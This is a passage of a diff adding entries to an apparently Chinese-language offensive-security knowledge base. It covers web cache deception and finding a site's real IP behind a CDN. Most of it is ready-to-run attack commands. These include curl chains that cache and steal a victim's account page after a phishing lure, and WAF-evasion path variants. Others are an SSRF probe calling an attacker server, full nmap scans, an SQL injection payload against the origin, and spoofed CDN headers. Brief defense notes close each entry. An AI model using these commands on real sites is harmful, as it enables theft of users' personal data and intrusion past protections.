- `Age:` — 响应在缓存中存储的时间(秒) _value_
|
|
162
|
+
- `Via:` — 显示中间代理/缓存服务器 _value_
|
|
163
|
+
|
|
164
|
+
**路径混淆缓存欺骗**
|
|
165
|
+
> 在动态页面URL后附加静态文件扩展名触发缓存
|
|
166
|
+
```
|
|
167
|
+
# 核心技巧: 在动态页面URL后添加静态文件扩展名
|
|
168
|
+
# 后端将 /account/profile.css 解析为 /account (忽略不存在的路径)
|
|
169
|
+
# 缓存层看到 .css 扩展名,认为是静态资源并缓存
|
|
170
|
+
|
|
171
|
+
# 步骤1: 构造欺骗URL(以受害者身份访问)
|
|
172
|
+
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile.css"
|
|
173
|
+
|
|
174
|
+
# 步骤2: 攻击者无需认证直接访问缓存内容
|
|
175
|
+
curl "http://target.com/account/profile.css"
|
|
176
|
+
|
|
177
|
+
# 多种路径变体:
|
|
178
|
+
curl "http://target.com/account/x.js"
|
|
179
|
+
curl "http://target.com/account/x.jpg"
|
|
180
|
+
curl "http://target.com/account/x.png"
|
|
181
|
+
curl "http://target.com/api/user/info/x.css"
|
|
182
|
+
curl "http://target.com/settings/x.svg"
|
|
183
|
+
```
|
|
184
|
+
**语法解析:**
|
|
185
|
+
- `/account/profile.css` — 后端解析为/account但缓存层认为是CSS文件 _value_
|
|
186
|
+
- `.css/.js/.jpg` — 常见的缓存触发扩展名 _value_
|
|
187
|
+
|
|
188
|
+
**高级缓存欺骗变体**
|
|
189
|
+
> 利用路径分隔符、参数和规范化差异的高级缓存欺骗
|
|
190
|
+
```
|
|
191
|
+
# 分隔符混淆(不同组件对路径分隔符理解不同):
|
|
192
|
+
curl "http://target.com/account;x.css"
|
|
193
|
+
curl "http://target.com/account%23x.css"
|
|
194
|
+
curl "http://target.com/account%3fx.css"
|
|
195
|
+
|
|
196
|
+
# 参数污染:
|
|
197
|
+
curl "http://target.com/account?cb=123.css"
|
|
198
|
+
curl "http://target.com/account/..%2fstatic/x.css"
|
|
199
|
+
|
|
200
|
+
# RPO (Relative Path Overwrite):
|
|
201
|
+
curl "http://target.com/account/..%2f..%2fstatic/style.css"
|
|
202
|
+
|
|
203
|
+
# Normalization差异:
|
|
204
|
+
curl "http://target.com/account/./x.css"
|
|
205
|
+
curl "http://target.com/account%2fx.css"
|
|
206
|
+
```
|
|
207
|
+
**语法解析:**
|
|
208
|
+
- `;x.css` — 分号在某些框架中是路径参数分隔符 _value_
|
|
209
|
+
- `%23` — #的URL编码,不同组件处理不同 _value_
|
|
210
|
+
- `..%2f` — ../的URL编码,可能绕过缓存层的路径匹配 _value_
|
|
211
|
+
|
|
212
|
+
**完整攻击流程验证**
|
|
213
|
+
> 演示从诱导缓存到窃取数据的完整攻击链
|
|
214
|
+
```
|
|
215
|
+
# 完整攻击演示:
|
|
216
|
+
|
|
217
|
+
# 1. 先确认动态页面包含敏感信息:
|
|
218
|
+
curl -b "session=VALID_SESSION" "http://target.com/account" | grep -i "email|phone|address|token"
|
|
219
|
+
|
|
220
|
+
# 2. 诱导受害者访问欺骗URL(通过钓鱼邮件/消息):
|
|
221
|
+
# 受害者点击: http://target.com/account/avatar.jpg
|
|
222
|
+
# 这会将其/account页面(含个人信息)缓存为"图片"
|
|
223
|
+
|
|
224
|
+
# 3. 攻击者访问同一URL获取缓存的敏感信息:
|
|
225
|
+
curl "http://target.com/account/avatar.jpg"
|
|
226
|
+
# 返回受害者的账户页面(包含邮箱、手机号、地址等)
|
|
227
|
+
|
|
228
|
+
# 4. 验证缓存命中:
|
|
229
|
+
curl -sI "http://target.com/account/avatar.jpg" | grep -i "x-cache"
|
|
230
|
+
# 期望看到: X-Cache: HIT
|
|
231
|
+
```
|
|
232
|
+
**语法解析:**
|
|
233
|
+
- `X-Cache: HIT` — 确认响应来自缓存而非源站 _value_
|
|
234
|
+
|
|
235
|
+
**WAF/EDR 绕过变体:**
|
|
236
|
+
|
|
237
|
+
**路径分隔符混淆**
|
|
238
|
+
> 利用缓存服务器与源站对分号、换行、井号等分隔符解析不一致触发缓存
|
|
239
|
+
```
|
|
240
|
+
# 利用缓存服务器对路径分隔符的差异解析
|
|
241
|
+
https://target.com/account/settings;.css
|
|
242
|
+
https://target.com/account/settings%0a.css
|
|
243
|
+
https://target.com/account/settings%23.css
|
|
244
|
+
https://target.com/account/settings%3f.css
|
|
245
|
+
|
|
246
|
+
# URL编码分隔符
|
|
247
|
+
https://target.com/account/settings%2f.css
|
|
248
|
+
https://target.com/account/settings%5c.css
|
|
249
|
+
```
|
|
250
|
+
**语法解析:**
|
|
251
|
+
- `# 利用缓存服务器对路径分隔符的差异解析` — 主要命令 _command_
|
|
252
|
+
- `...` — 共8行 _value_
|
|
253
|
+
|
|
254
|
+
**RPO相对路径覆盖**
|
|
255
|
+
> 利用相对路径覆盖(RPO)使浏览器请求敏感页面但缓存服务器按静态资源缓存
|
|
256
|
+
```
|
|
257
|
+
# Relative Path Overwrite
|
|
258
|
+
https://target.com/account/settings/..%2f..%2fstatic/style.css
|
|
259
|
+
https://target.com/account/settings/nonexistent.css
|
|
260
|
+
|
|
261
|
+
# 路径参数注入
|
|
262
|
+
https://target.com/account/settings;param=value/test.css
|
|
263
|
+
https://target.com/account/settings/test.js?_=1
|
|
264
|
+
|
|
265
|
+
# 不同缓存键操控
|
|
266
|
+
https://target.com/account/settings HTTP/1.1
|
|
267
|
+
X-Original-URL: /static/style.css
|
|
268
|
+
```
|
|
269
|
+
**语法解析:**
|
|
270
|
+
- `# Relative Path Overwrite` — 主要命令 _command_
|
|
271
|
+
- `...` — 共9行 _value_
|
|
272
|
+
|
|
273
|
+
**缓存与源站规范化差异**
|
|
274
|
+
> 利用CDN/反向代理与源站对URL规范化处理的差异,使缓存误缓存敏感内容
|
|
275
|
+
```
|
|
276
|
+
# Cloudflare/Varnish路径规范化差异
|
|
277
|
+
https://target.com/account/settings/.css
|
|
278
|
+
https://target.com/account/settings/test.avif
|
|
279
|
+
https://target.com/account/settings/x.woff2
|
|
280
|
+
|
|
281
|
+
# 双斜杠混淆
|
|
282
|
+
https://target.com//account//settings.css
|
|
283
|
+
https://target.com/account/settings%252f.css
|
|
284
|
+
|
|
285
|
+
# 利用Vary头缺失
|
|
286
|
+
curl -H "Accept: text/css" https://target.com/account/settings
|
|
287
|
+
```
|
|
288
|
+
**语法解析:**
|
|
289
|
+
- `# Cloudflare/Varnish路径规范化差异` — 主要命令 _command_
|
|
290
|
+
- `...` — 共9行 _value_
|
|
291
|
+
|
|
292
|
+
|
|
293
|
+
**概述:** Web缓存欺骗(Web Cache Deception)利用CDN/缓存层与后端服务器对URL路径的解析差异。当后端将/account/x.css按/account处理(返回用户信息),而缓存层因.css扩展名将响应当作静态资源缓存时,攻击者可以诱导受害者访问该URL,然后直接获取缓存的敏感信息。
|
|
294
|
+
|
|
295
|
+
**漏洞原理:** 缓存层(CDN/Varnish/Nginx)和后端应用对同一URL路径的解析存在差异:1) 后端忽略URL中不存在的路径段 2) 缓存层根据扩展名决定缓存策略 3) 缓存策略未排除包含敏感数据的响应
|
|
296
|
+
|
|
297
|
+
**利用方法:** 利用流程:1) 探测缓存层和缓存策略 2) 找到包含敏感信息的动态页面 3) 构造带静态扩展名的欺骗URL 4) 诱导受害者访问该URL触发缓存 5) 攻击者无需认证访问缓存获取敏感数据
|
|
298
|
+
|
|
299
|
+
**防御措施:** 1) 敏感页面设置Cache-Control: no-store, private 2) 缓存层验证Content-Type与扩展名一致 3) 后端对不存在的路径返回404 4) 缓存key包含Cookie/Authorization 5) CDN配置只缓存明确的静态资源路径
|
|
300
|
+
|
|
301
|
+
---
|
|
302
|
+
|
|
303
|
+
### CDN绕过 `cdn-bypass`
|
|
304
|
+
_绕过CDN查找真实IP_
|
|
305
|
+
子类:**CDN** · tags: `cdn` `bypass` `recon`
|
|
306
|
+
|
|
307
|
+
**前置条件:**
|
|
308
|
+
- 目标使用CDN
|
|
309
|
+
|
|
310
|
+
**攻击链:**
|
|
311
|
+
|
|
312
|
+
**历史DNS**
|
|
313
|
+
> 查找未使用CDN时的IP
|
|
314
|
+
```
|
|
315
|
+
# DNS历史记录查询获取真实IP:
|
|
316
|
+
# 1. SecurityTrails(需要API Key):
|
|
317
|
+
curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" -H "APIKEY: YOUR_KEY" | jq '.records[].values[].ip'
|
|
318
|
+
|
|
319
|
+
# 2. ViewDNS:
|
|
320
|
+
curl -s "https://viewdns.info/iphistory/?domain=target.com"
|
|
321
|
+
|
|
322
|
+
# 3. DNS DB在线查询:
|
|
323
|
+
# https://dnsdb.io/
|
|
324
|
+
# https://securitytrails.com/
|
|
325
|
+
# https://completedns.com/
|
|
326
|
+
|
|
327
|
+
# 4. Censys搜索:
|
|
328
|
+
curl -s "https://search.censys.io/api/v2/hosts/search?q=target.com" -u "API_ID:API_SECRET"
|
|
329
|
+
|
|
330
|
+
# 5. 使用FOFA:
|
|
331
|
+
# domain="target.com" && type="A"
|
|
332
|
+
|
|
333
|
+
# 6. 多地Ping对比:
|
|
334
|
+
nslookup target.com 8.8.8.8
|
|
335
|
+
nslookup target.com 1.1.1.1
|
|
336
|
+
```
|
|
337
|
+
**语法解析:**
|
|
338
|
+
- `DNS` — 域名解析记录 _concept_
|
|
339
|
+
|
|
340
|
+
**邮件头**
|
|
341
|
+
> 查看邮件源码中的Received头
|
|
342
|
+
```
|
|
343
|
+
# 通过邮件头泄露真实IP:
|
|
344
|
+
# 1. 触发目标站点发送邮件(注册/找回密码/订阅):
|
|
345
|
+
curl -d "email=attacker@gmail.com" "http://target.com/forgot-password"
|
|
346
|
+
curl -d "email=attacker@gmail.com" "http://target.com/subscribe"
|
|
347
|
+
|
|
348
|
+
# 2. 查看收到邮件的原始头(Gmail: 显示原始邮件):
|
|
349
|
+
# 查找以下字段中的IP:
|
|
350
|
+
# Received: from mail.target.com (203.0.113.50)
|
|
351
|
+
# X-Originating-IP: [203.0.113.50]
|
|
352
|
+
# Return-Path: <noreply@target.com>
|
|
353
|
+
|
|
354
|
+
# 3. 使用swaks发送邮件触发:
|
|
355
|
+
swaks --to attacker@gmail.com --from test@target.com --server target.com
|
|
356
|
+
|
|
357
|
+
# 4. 分析邮件头:
|
|
358
|
+
# 最底部的Received字段通常包含源服务器真实IP
|
|
359
|
+
|
|
360
|
+
# 5. 如果目标有RSS订阅:
|
|
361
|
+
# 订阅后查看请求来源IP
|
|
362
|
+
curl "http://target.com/rss" -v
|
|
363
|
+
```
|
|
364
|
+
**语法解析:**
|
|
365
|
+
- `Received` — 邮件传输路径 _header_
|
|
366
|
+
|
|
367
|
+
**DNS历史与证书透明度查询**
|
|
368
|
+
> 通过DNS历史、证书透明度、搜索引擎查找CDN背后的真实IP
|
|
369
|
+
```
|
|
370
|
+
# 1. DNS历史记录查询:
|
|
371
|
+
# SecurityTrails:
|
|
372
|
+
curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" -H "APIKEY: YOUR_KEY" | python3 -m json.tool
|
|
373
|
+
|
|
374
|
+
# 在线查询:
|
|
375
|
+
# https://viewdns.info/iphistory/?domain=target.com
|
|
376
|
+
# https://completedns.com/dns-history/
|
|
377
|
+
# https://dnshistory.org/dns-records/target.com
|
|
378
|
+
|
|
379
|
+
# 2. 证书透明度日志(CT Log):
|
|
380
|
+
curl -s "https://crt.sh/?q=target.com&output=json" | python3 -c "import json,sys; [print(x['common_name'],x['name_value']) for x in json.load(sys.stdin)]"
|
|
381
|
+
|
|
382
|
+
# 3. Censys搜索:
|
|
383
|
+
# https://search.censys.io/search?q=services.tls.certificates.leaf.names%3Atarget.com
|
|
384
|
+
|
|
385
|
+
# 4. FOFA/Shodan搜索:
|
|
386
|
+
# FOFA: cert="target.com"
|
|
387
|
+
# Shodan: ssl.cert.subject.cn:target.com
|
|
388
|
+
```
|
|
389
|
+
**语法解析:**
|
|
390
|
+
- `crt.sh` — 证书透明度日志搜索引擎 _value_
|
|
391
|
+
- `SecurityTrails` — DNS历史记录查询API _value_
|
|
392
|
+
- `cert="target.com"` — FOFA语法搜索使用特定证书的IP _parameter_
|
|
393
|
+
|
|
394
|
+
**子域名与相关服务探测真实IP**
|
|
395
|
+
> 通过子域名、邮件记录、主动连接等方式发现真实IP
|
|
396
|
+
_platform: linux_
|
|
397
|
+
```
|
|
398
|
+
# 1. 子域名可能未经CDN:
|
|
399
|
+
for sub in mail ftp ssh vpn dev staging test api admin mx; do
|
|
400
|
+
ip=$(dig +short ${sub}.target.com A 2>/dev/null | head -1)
|
|
401
|
+
[ -n "$ip" ] && echo "${sub}.target.com → $ip"
|
|
402
|
+
done
|
|
403
|
+
|
|
404
|
+
# 2. MX记录(邮件服务器通常不走CDN):
|
|
405
|
+
dig +short target.com MX
|
|
406
|
+
dig +short $(dig +short target.com MX | awk '{print $2}') A
|
|
407
|
+
|
|
408
|
+
# 3. SPF记录中的IP:
|
|
409
|
+
dig +short target.com TXT | grep -i "spf"
|
|
410
|
+
# v=spf1 ip4:203.0.113.50 include:... → 203.0.113.50可能是真实IP
|
|
411
|
+
|
|
412
|
+
# 4. 触发目标服务器主动连接:
|
|
413
|
+
# 在目标网站留下一个URL(如头像、webhook)指向自己的服务器
|
|
414
|
+
# 查看连接IP(这是目标的出站IP,通常是真实IP):
|
|
415
|
+
# nc -lvp 8888
|
|
416
|
+
|
|
417
|
+
# 5. SSRF利用:
|
|
418
|
+
# 如果存在SSRF漏洞,让服务器连接外部获取IP
|
|
419
|
+
curl "http://target.com/api/fetch?url=http://your-server.com/log-ip"
|
|
420
|
+
```
|
|
421
|
+
**语法解析:**
|
|
422
|
+
- `dig +short target.com MX` — 查询邮件服务器记录,通常直接暴露真实IP _command_
|
|
423
|
+
- `SPF记录` — 邮件发送策略中包含的IP白名单 _value_
|
|
424
|
+
|
|
425
|
+
**验证真实IP并直接访问**
|
|
426
|
+
> 验证候选IP并直接访问绕过CDN防护
|
|
427
|
+
_platform: linux_
|
|
428
|
+
```
|
|
429
|
+
# 1. 验证候选IP是否是真实服务器:
|
|
430
|
+
REAL_IP="203.0.113.50"
|
|
431
|
+
|
|
432
|
+
# 直接IP访问(Host头指定域名):
|
|
433
|
+
curl -sI "http://${REAL_IP}/" -H "Host: target.com"
|
|
434
|
+
|
|
435
|
+
# HTTPS访问(忽略证书):
|
|
436
|
+
curl -sk "https://${REAL_IP}/" -H "Host: target.com"
|
|
437
|
+
|
|
438
|
+
# 2. 对比响应确认:
|
|
439
|
+
cdn_resp=$(curl -s "https://target.com/" | md5sum)
|
|
440
|
+
direct_resp=$(curl -sk "https://${REAL_IP}/" -H "Host: target.com" | md5sum)
|
|
441
|
+
echo "CDN: $cdn_resp"
|
|
442
|
+
echo "Direct: $direct_resp"
|
|
443
|
+
[ "$cdn_resp" = "$direct_resp" ] && echo "[+] CONFIRMED: Real IP!"
|
|
444
|
+
|
|
445
|
+
# 3. 修改hosts绕过CDN测试:
|
|
446
|
+
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
|
|
447
|
+
|
|
448
|
+
# 4. 直接对真实IP进行渗透(绕过CDN的WAF):
|
|
449
|
+
nmap -sV -p 1-65535 ${REAL_IP}
|
|
450
|
+
# CDN的WAF通常只保护CDN入口,直接访问真实IP可绕过
|
|
451
|
+
```
|
|
452
|
+
**语法解析:**
|
|
453
|
+
- `-H "Host: target.com"` — 通过IP访问但指定Host头使服务器返回正确内容 _parameter_
|
|
454
|
+
- `-sk` — -s静默模式 -k忽略证书错误 _parameter_
|
|
455
|
+
|
|
456
|
+
**WAF/EDR 绕过变体:**
|
|
457
|
+
|
|
458
|
+
**绕过CDN WAF的多种技术**
|
|
459
|
+
> 利用真实IP和非标端口绕过CDN的WAF防护
|
|
460
|
+
```
|
|
461
|
+
# 找到真实IP后,CDN的WAF就被完全绕过了
|
|
462
|
+
# 但如果目标自身也有WAF,还需要:
|
|
463
|
+
|
|
464
|
+
# 1. 使用真实IP直接访问(绕过CDN WAF):
|
|
465
|
+
curl -sk "https://REAL_IP/vulnerable?id=1' OR 1=1--" -H "Host: target.com"
|
|
466
|
+
|
|
467
|
+
# 2. 如果CDN仅对常见端口做WAF:
|
|
468
|
+
# 扫描非标端口的Web服务:
|
|
469
|
+
nmap -sV -p 8080,8443,8888,9090,3000,4443,8000 REAL_IP
|
|
470
|
+
|
|
471
|
+
# 3. IPv6绕过(CDN可能只保护IPv4):
|
|
472
|
+
dig +short target.com AAAA
|
|
473
|
+
curl -6 "http://[IPv6_ADDRESS]/" -H "Host: target.com"
|
|
474
|
+
|
|
475
|
+
# 4. 源站IP白名单探测:
|
|
476
|
+
# 某些源站配置了仅允许CDN IP访问
|
|
477
|
+
# 尝试伪造CDN的IP:
|
|
478
|
+
curl -H "CF-Connecting-IP: 1.2.3.4" "http://REAL_IP/" -H "Host: target.com"
|
|
479
|
+
curl -H "X-Forwarded-For: CDN_IP" "http://REAL_IP/" -H "Host: target.com"
|
|
480
|
+
```
|
|
481
|
+
**语法解析:**
|
|
482
|
+
- `OR '1'='1'` — 逻辑永真 _keyword_
|
|
483
|
+
- `curl` — HTTP请求工具 _command_
|
|
484
|
+
- `-H` — 自定义请求头 _parameter_
|
|
485
|
+
- `X-Forwarded-For` — IP伪造头 _header_
|
|
486
|
+
- `nmap` — 端口扫描工具 _command_
|
|
487
|
+
|
|
488
|
+
|
|
489
|
+
**概述:** CDN隐藏了真实IP,绕过CDN是渗透测试的重要步骤。
|
|
490
|
+
|
|
491
|
+
**漏洞原理:** 信息泄露。
|
|
492
|
+
|
|
493
|
+
**利用方法:** DNS历史、子域名、邮件头、全网扫描
|
|
494
|
+
|
|
495
|
+
**防御措施:** 仅允许CDN IP访问源站
|
|
496
|
+
|
|
497
|
+
---
|